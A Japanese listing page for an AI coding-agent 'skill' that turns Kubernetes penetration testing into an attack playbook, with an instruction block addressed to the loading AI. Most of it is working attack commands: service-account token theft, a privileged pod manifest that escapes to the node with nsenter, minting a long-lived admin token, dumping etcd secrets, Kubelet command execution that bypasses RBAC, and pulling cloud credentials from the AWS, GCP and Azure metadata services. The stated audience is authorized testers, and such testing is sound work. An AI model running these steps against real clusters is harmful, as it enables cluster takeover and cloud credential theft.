kubernetes-pentesting について
kubernetes-pentestingは、Kubernetes環境の評価に使うセキュリティスキル兼プレイブックです。クラスターやPodへのアクセスがあるペネトレーションテスター向けに、API、RBAC、サービスアカウント、ノードへの経路、クラウドメタデータ、各種制御を扱います。
主な機能
- 01Kubernetes APIとRBACの列挙
- 02サービスアカウントトークンの評価
- 03etcdとKubeletのアクセス確認
- 04Podからノードへの権限昇格経路
- 05クラウドメタデータとアドミッション制御
- 06ネットワークポリシーの評価
活用シーン
- 01侵害されたPodから可能な操作の確認
- 02クラスターの露出や設定不備の調査
- 03Kubernetes経由のクラウドIDアクセス評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill kubernetes-pentestingインストール後、Claude Code で/kubernetes-pentestingを入力して読み込まれたか確認します。
詳細
スキル:Kubernetes ペネトレーションテスト — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Kubernetes に対するエキスパート向け攻撃手法です。API サーバーへのアクセス、RBAC の権限昇格、サービスアカウントトークンの悪用、etcd からのシークレット抽出、Kubelet API の悪用、クラウド IMDS へのアクセス(EKS/GKE/AKS)、アドミッションウェブフックのバイパス、ネットワークポリシーの回避を扱います。ベースモデルは、名前空間スコープとクラスタースコープの RBAC の違いを見落とし、認証されていない Kubelet の API を見逃します。
0. 関連するルーティング
詳しく調べる前に、次の読み込みを検討してください。
- container-escape-techniques:侵害されたポッドから基盤となるノードへ脱出する場合
- linux-privilege-escalation:ノード上で root への権限昇格を行う場合
- linux-lateral-movement:ノード間をピボットする場合
- linux-security-bypass:Pod Security Standards または seccomp プロファイルによって操作が制限される場合
- ssrf-server-side-request-forgery:SSRF を悪用して K8s API またはクラウドメタデータにアクセスする場合
1. K8S API サーバーへのアクセス
1.1 匿名アクセスの確認
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis
# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
1.2 トークンベースの認証(ポッド内から)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 証明書/Kubeconfig による認証
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
2. RBAC の列挙
2.1 自身の権限の確認
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*' # Full cluster admin?
# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
2.2 Role および ClusterRole の列挙
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME
# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
2.3 危険な RBAC 権限
| 権限 | リスク | 権限昇格の経路 |
|---|---|---|
pods/exec | 重大 | 任意のポッドでコマンドを実行する(シークレットやトークンにアクセス) |
pods(作成) | 重大 | 特権ポッドを作成する → ノードにアクセス |
secrets(取得/一覧表示) | 重大 | SA トークンを含むすべてのシークレットを読み取る |
serviceaccounts/token(作成) | 重大 | 任意の SA のトークンを生成する |
nodes/proxy | 高 | Kubelet API へのプロキシ |
Role に対する escalate | 重大 | 任意の権限を自身に付与する |
RoleBinding に対する bind | 重大 | 任意の Role を自身にバインドする |
impersonate | 重大 | 任意のユーザー/SA になりすます |
3. サービスアカウントトークンの悪用
3.1 トークンの場所とデコード
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
3.2 サービスアカウントによる権限昇格
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
securityContext: { privileged: true }
volumeMounts: [{ name: hostfs, mountPath: /host }]
volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
3.3 トークンの生成
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
4. etcd への直接アクセス
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version
# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
--cacert=ca.crt --cert=server.crt --key=server.key \
get / --prefix --keys-only | grep secrets
# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
5. ポッドからノードへの脱出
詳細な脱出手順については、container-escape-techniques を参照してください。
K8s 固有の手法のクイックリファレンス:
| 手法 | 要件 | コマンド |
|---|---|---|
| hostPID | spec.hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
| hostNetwork | spec.hostNetwork: true | ノードのサービス(Kubelet、etcd)にアクセス |
hostPath / | ホストのルートをボリュームとしてマウント | chroot /host bash |
| 特権コンテナー | securityContext.privileged: true | ホストディスクをマウント/nsenter |
6. KUBELET API(ポート 10250/10255)
curl -sk https://NODE_IP:10250/pods # Anonymous access check
# 10255 = read-only (legacy, HTTP)
# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
7. クラウド固有の攻撃
7.1 AWS EKS — IMDS へのアクセス
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
7.2 GCP GKE — メタデータ API
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token
# List available scopes
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
7.3 Azure AKS — マネージド ID
# Azure IMDS
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token
# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE
8. アドミッションウェブフックのバイパス
| 手法 | コマンド/方法 |
|---|---|
| 除外された名前空間 | kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → 除外された NS を使用 |
| failurePolicy: Ignore | ウェブフックサーバーがダウンしている場合 → アドミッションをスキップ |
| エフェメラルコンテナー | kubectl debug POD -it --image=alpine(対象外の場合があります) |
| 静的ポッド | ノード上の /etc/kubernetes/manifests/ にマニフェストを配置する(API アドミッションをバイパス) |
9. コンテナーレジストリへのアクセス
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
10. ネットワークポリシーの列挙とバイパス
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
[ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done
バイパス手法:DNS の持ち出し(ポート 53 はブロックされていることがまれ)、許可されたポートのトンネリング、保護されていない名前空間内のポッド、hostNetwork: true によるポッドのネットワークポリシーの完全なバイパス。
11. ツール
| ツール | 目的 | コマンド |
|---|---|---|
| kubectl | K8s API とのやり取り | kubectl auth can-i --list |
| kube-hunter | K8s の自動脆弱性スキャン | kube-hunter --remote TARGET |
| peirates | Pod 内からの K8s ペネトレーションテスト | ./peirates |
| kubesploit | K8s 向けの侵害後フレームワーク | エージェントベースの C2 |
| CDK | コンテナ/K8s 侵害ツールキット | ./cdk evaluate |
| kubeletctl | Kubelet API と直接やり取り | kubeletctl pods -s NODE_IP |
| kubeaudit | クラスターの設定ミス監査 | kubeaudit all |
12. Kubernetes ペネトレーションテストの判断ツリー
Access to Kubernetes environment?
│
├── Inside a pod?
│ ├── Read SA token → check RBAC permissions (§2.1)
│ │ ├── Can create pods? → privileged pod escape (§3.2)
│ │ ├── Can read secrets? → dump all secrets (§3.2)
│ │ ├── Can exec into pods? → pivot to other pods
│ │ └── Minimal permissions → try Kubelet API (§6)
│ │
│ ├── Cloud environment?
│ │ ├── AWS → check IMDS for IAM creds (§7.1)
│ │ ├── GCP → check metadata for OAuth token (§7.2)
│ │ └── Azure → check IMDS for managed identity (§7.3)
│ │
│ └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│ ├── kubeconfig found? → full cluster access (§1.3)
│ ├── etcd accessible? → dump all secrets (§4)
│ ├── Kubelet cert/key? → API server access
│ └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│ ├── API server exposed? → anonymous/token check (§1)
│ ├── Kubelet 10250 exposed? → direct pod exec (§6)
│ ├── etcd 2379 exposed? → direct secret dump (§4)
│ └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│ ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│ ├── impersonate permission? → act as admin (§2.3)
│ ├── serviceaccounts/token create? → mint admin token (§3.3)
│ └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
├── Enumerate network policies → find unprotected namespaces (§10)
├── Check admission webhooks → find bypass (§8)
├── Pull registry images → search for secrets (§9)
└── Scan nodes for exposed services → Kubelet, etcd
コメント
Markdown 対応